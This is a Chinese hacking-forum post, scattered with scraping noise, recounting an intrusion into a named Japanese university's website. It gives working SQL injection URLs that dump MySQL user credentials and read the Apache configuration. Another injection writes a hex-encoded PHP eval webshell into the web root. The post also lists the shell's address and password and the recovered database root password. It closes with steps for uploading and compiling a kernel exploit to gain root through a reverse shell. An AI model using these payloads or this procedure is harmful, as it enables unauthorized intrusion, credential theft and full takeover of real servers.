找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2590|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析
  H/ _: n4 }1 p5 V% w" X  c
3 p9 d( w( C2 e( V4 Z3 ]2 a6 R; |http://www.doshisha.ac.jp/chs/news/index.php?i=-1
& M# @% n4 b8 m  f( J4 U/ S& d然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:) a' ^. L2 _& e$ k. m% a

2 Z  N/ N- d& a; hhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
# }; n( e% h% ^# S
: h/ B! j/ q& P * A* m' ?4 i6 C$ v! m4 y- Z8 L6 h! y) m
5 P  V) o6 {! _1 j3 J
//@@datadir为数据库文件路径 3 e+ K. f& i1 z/ S

0 }2 W1 ?7 Q. b$ S) h) K* ]6 X0 P% V, l# r% [# A0 `
//load_file读取网站容器apache的配置文件
1 {7 S7 y! w2 h0 y- M+ u, Y5 o $ R% |" Z; P4 M/ g) T5 B+ h% M
/ z! W  @" @+ Y) E) g  f( a$ J( P
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
( k3 b# P2 }+ a! w1 Y复制代码/ A- `1 q3 @' B1 `: [& U6 p; ]
' `7 a, a: k2 c1 D! o# l
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。1 }4 N6 y) @* h' y( O

  }' f) D) c" i5 }而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。" t# Y2 C6 U% [0 L
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)& w/ t* D- \5 o" S) [

4 O6 {& |9 r3 _1 C$ E1 {前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
! v0 ^5 q' @- Z/ R6 g' W0 a如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
; d. C9 F. F7 [4 N5 h3 n5 Q
; R& \5 T4 i5 K5 T) _/ z! J既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho// t0 o5 H3 z, X& l# d  j: v0 W
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
' O6 C$ b+ _  v2 h3 \直接写一句话:
- l& l7 ^8 M1 x9 H( P+ d" q4 X7 K0 f1 b3 O1 c2 x3 h9 y9 q: M2 E
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#. E/ `$ f$ X( y1 x5 U* H+ b
' M# p; a# D" x: }8 p' \% A

% _& g' c6 |) `4 N/ |3 X7 j' t3 d6 m6 ?  b' i& Y" l: p4 K
//最后的#是为了闭合前面的语句 : R  u6 O( w% X' B

$ c4 y1 B( W) k/ O& n+ j& I/ |1 X- e; u, X  j1 e
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E : d2 M$ N3 @5 r" N: u
6 @+ Z  a3 j8 ~7 |3 x( W

- N  p' n, H- B8 R3 a; B3 f4 {为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 1 N9 J5 }$ e, |' B9 W
& ~) c! z9 m) |" m
, A* p% `0 E1 [& E2 W
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
9 u* V7 y  @# u 2 z2 O. Y7 D2 S% F% f! n, Y$ r

7 h, e; @  I2 U//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
/ g: i  J0 L0 S//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
& K* ?4 N8 V3 y+ I复制代码* n6 N4 D' Z8 J- Q% Y( j( T5 `) W( r
* S5 B. F0 a/ |/ C0 c
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
- j# o' W6 L# U* M# P通过上述注入语句,我们就得到了一句话木马:
0 V, F  e% ?! \. J5 z
+ U9 G% e1 A' n; {! N; B " h6 l& I0 C6 l% P6 W% k
! Z8 ]1 C! j5 H' b

) w8 U( S  s9 C6 L' t8 z5 G  F% A$ @0 B  [; O: |
http://www.doshisha.ac.jp/english/engnews_img/aa.php
7 T1 Z3 Z( ^. w: X7 D6 ?复制代码
' t5 v6 T& G+ i
( l+ T/ G0 q# e; B6 R用菜刀连接,密码是cmd,如图所示:: H9 G; l- h- w/ d9 B) d
然后在命令提示行里看了一下,现在的权限是:
+ N+ s1 Z6 M; N3 q( B- d5 s! t' t# a6 p( X: G
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
7 b/ l0 Z: M+ A. b0 {; J# p好在赋权给这个文件夹不需要root,直接执行赋权语句:
* ~* Y  s) b5 j$ Q7 {. x  S) e: e  M) ]: T- F0 O

2 h8 C4 X! o/ V: N1 ^- W
% n+ @/ a5 L3 V8 W: c ' a* y) t! }$ y- P$ @

/ v5 a. _5 f9 m  ^: Ichmod +x /tmp/ % E/ A6 m0 i# l& R2 ]
复制代码1 L' ~- L0 n9 k8 b* H
: f1 [3 H- d  s# C5 o' Y8 H
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行$ ~+ Q# L- C- b' j8 m  d
然后就查了一下内核版本:
$ ^/ K& @6 u$ `9 |( A$ V7 @8 y8 j8 b4 w; G0 J

8 M! f) t3 m$ i( k
  [' F( N) B3 M2 y2 w" T1 [ 7 b* ~8 M' q( c5 A# ~) b

" T* b3 x+ X: e6 Huname-a
9 i, i. j( `, S) M
- y$ s, V  W8 j9 g2 |6 P& e8 r
0 {; ~( T7 x- K- C//其实lsb_release -a
  J! ^) T: r- L/ g复制代码
8 ~! H+ l( ~3 J
8 i$ Y; N- }# c& W0 A如图所示:! w. g) B: p5 k+ m8 k! b6 Q  ~
7 w8 Z. p6 N" u' D
内核版本:linux mainz1 2.6.28-194.e15, A8 \% T% b0 Y6 G8 z0 [" I
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)4 m: q5 r9 S0 z( i# t
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹  r( _% o: ]. @) O, T8 D
/ \9 k. g. H6 p5 ?
然后给予执行权限
- t- O! e8 k! O  ?一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
) ?6 J; b. q1 a* m
/ l. M! w0 t. X8 a & V4 ]. X3 Z0 A* c

: [* i2 h5 n5 [) L9 Y) B
! W/ q5 s6 w; d/ C. r) B, i: R8 N% j! h: ?# E' n( E
chmod +x /tmp/2.6.18-194 + w  Z3 U1 C- Q2 F. ^
复制代码 然后直接执行!~
( _+ b' U0 j( U4 d
$ S) g$ m8 j6 z) {总结:( P) D9 U. A/ [. {
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了" e/ P: ~, R  z
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
2 M! h, F( Q# B9 ^$ @. n# T" H9 P# h' v& N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表